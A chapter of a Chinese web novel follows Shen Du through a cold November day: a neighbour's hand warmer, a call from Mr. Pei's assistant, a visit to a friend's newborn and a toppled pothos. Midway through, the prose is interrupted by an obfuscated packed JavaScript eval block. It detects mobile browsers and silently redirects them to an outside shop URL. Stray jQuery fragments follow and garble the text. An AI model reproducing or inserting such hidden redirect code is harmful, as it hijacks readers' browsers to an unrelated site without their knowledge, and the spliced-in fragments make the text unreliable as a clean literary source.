那年冬天来得早。十一月初，气温骤降，沈渡翻出了压箱底的羽绒服。黑色的，长款，拉链不太顺滑，拉到一半会卡住。她用力拽了几下，拉上去了，领口竖起来，遮住半张脸。出门的时候天还没亮透，灰蒙蒙的，像隔着一层纱。她去公司的路上经过那家便利店，赵大爷在门口扫地，看到她，挥了挥手。“上班啊？”“嗯。”她走过去，赵大爷从口袋里掏出一个暖宝宝，塞到她手里。“拿着，天冷。”暖宝宝是那种最普通的，白色无纺布，一包两片，上面印着红色的字。沈渡攥在手心里，感觉到了温度。
“谢谢赵大爷。”
“谢什么，你帮我挂号的时候，我也没谢你。”沈渡把暖宝宝放进口袋，继续走。风从西北方向来，灌进领口，凉飕飕的。但她手心里有暖宝宝，不冷。
那天公司没什么事，沈渡对着电脑屏幕发呆。excel表格里的数字像蚂蚁一样密密麻麻，她的眼睛在上面爬，一只一只地数，数到第一百只的时候，思绪飘走了。飘到了贺老的院子里，飘到了枇杷树下，飘到了那本翻旧了的《方剂学》上。她想起贺老说的话——“药有君臣佐使，人生也有。你要搞清楚谁是君，谁是臣。君不明，臣就乱。”她的君是什么？是成为医生。臣是什么？是学医。佐是什么？是帮助别人。使是什么？是活着。君是主，臣是从，佐为辅，使为引。她的引子是那个声音，在她身体里，在她每一次心跳里，在她每一次把脉的指尖上。不是它引她，是她引它，一起往前走。
中午吃饭的时候，沈渡接到一个电话。陌生号码，她犹豫了一下接起来。那边是个男人的声音，沉稳，不带情绪。“沈渡小姐，我是裴总的助理，姓魏。上次跟你联系过。裴总想约你见个面，不知道你什么时候方便？”沈渡握着手机，站在食堂的窗边。窗外是一个小花园，花都谢了，只有几棵冬青还绿着。“我不方便。”对方没有生气，语气不变。“没关系，裴总不急。你有时间了，随时打这个电话。”
电话挂了。沈渡把手机放回口袋，拿起筷子继续吃饭。青椒肉丝盖饭，青椒还是苦的，但她在吃苦。苦不是坏事，苦是药。黄连苦，清心火；黄柏苦，泻下焦。她的苦，能让她清醒。不清醒，就会被人牵着走。
下午下了班，沈渡去了徐敏家。徐敏的女儿已经快满月了，小名叫念念。沈渡第一次见到她的时候，她正在睡觉，小小的，软软的，蜷在襁褓里，像一只刚出生的小猫。脸上红扑扑的，嘴唇很薄，像两片花瓣。
“她好小。”沈渡伸出手指，轻轻碰了碰念念的手背。念念的手指立刻握住了她的食指，握得很紧，像抓住了什么很重要的东西。“她在抓你，”徐敏笑了，“她喜欢你呢。”沈渡低头看着那只小手，五根手指，每一根都像一截刚发芽的豆芽。她想起了那盆绿萝，刚长出来的新叶子也是这样的，嫩嫩的，卷着，要过几天才会展开。生命都是这样，先缩着，再展开。缩着的时候，你不知道它会变成什么样子；展开了，你就认识了它。她现在也在展开，展开了，裴衍就会认识她。她不怕被认识，只怕被误解。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621437|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那天晚上风很大，天气预报说有大风降温，沈渡把自己裹得严严实实的，走在回家的路上。路灯橘黄色的光被风吹得摇摇晃晃，她的影子也跟着晃。她走过那家便利店的时候，赵大爷正在关卷帘门，看到她，大声喊：“早点回去，风大！”沈渡朝他挥了挥手，加快脚步。
到家的时候，她发现窗台上的绿萝被风吹倒了，花盆侧翻，土洒了一地。她蹲下来，把绿萝扶正，把土一点一点地捧回盆里。绿萝的藤断了一根，是那根最长的，垂到地上的那一根。断口处渗出一点透明的汁液，黏黏的，像泪。沈渡用手把那根断藤捡起来，放在另一个小花盆里，压上土，浇了水。不知道能不能活，但她想试一试。藤断了，根还在。根在，就有机会。
那晚沈渡躺在床上，听着外面的风声。风很大，呜呜的，像有人在远处哭。她闭上眼睛，把手放在胸口，心跳比平时快了一点。不是因为怕，是因为她在想——那个姓裴的，到底要等到什么时候？
“你希望他来找你？”那个声音问。
沈渡睁开眼，看着天花板。“不希望。但我知道他会来。就像冬天会来，风会来，雪会来。来就来，我准备好过冬了。”
手心里的暖宝宝已经凉了。她把它从被窝里拿出来，放在床头柜上。凉了的暖宝宝硬邦邦的，像一块石头。沈渡摸了一下，“石头”也是有用的，可以压纸，可以镇风。她的暖宝宝凉了，她不需要暖宝宝了，她自己的手是热的。
（第三十五章完）
第一卷完。